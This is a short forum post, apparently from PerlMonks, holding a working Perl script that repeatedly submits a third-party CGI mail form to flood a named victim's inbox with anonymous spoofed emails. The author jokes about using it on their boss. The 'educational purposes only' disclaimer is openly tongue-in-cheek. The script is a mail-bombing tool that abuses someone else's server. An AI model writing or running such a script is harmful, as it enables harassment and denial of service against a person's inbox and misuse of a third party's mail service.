OOOO!! I think I can have a little fun with this.

#!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

my $VictimEmail = shift; # The Victim's E-mail Adress {evil cackle}
my $ClipSize = shift;    # How many E-mails you want to send

for( my $i = 0; $i < $ClipSize; $i++ ) {
  my $req = 
    POST( 'http://www.cromedome.net/cgi-bin/spudgun.cgi',
      [ from_name  => 'A very bad man',
        from_email => 'AVeryBadMan@BadPeople.com',
        to_name    => 'Sucker!',
        to_email   => $VictimEmail,
      ] );
                
  $ua = LWP::UserAgent->new;
  my $result = $ua->request($req)->as_string;
  
  die"%*#%! spudgun, That didn't work! \n$result" 
    unless $result =~ /You have just fired your spudgun/;
   
  sleep( 5 ); # try not to overload the server.
}
[download]

Now, where's the PHB's email address... Let's fill up his inbox...

DISCLAIMER: For educational purposes only. Neither Perlmonks nor meta4 advocate waisting resources just to mail bomb your PHB, or anyone else, anonymously. This really is just a demonstration of how to use HTTP::Request::Common. Or, uh... This is just a demonstraion of how someone (surely not me) could get creative and abuse a CGI script by not calling it from a browser.

Bad meta4! Bad, bad!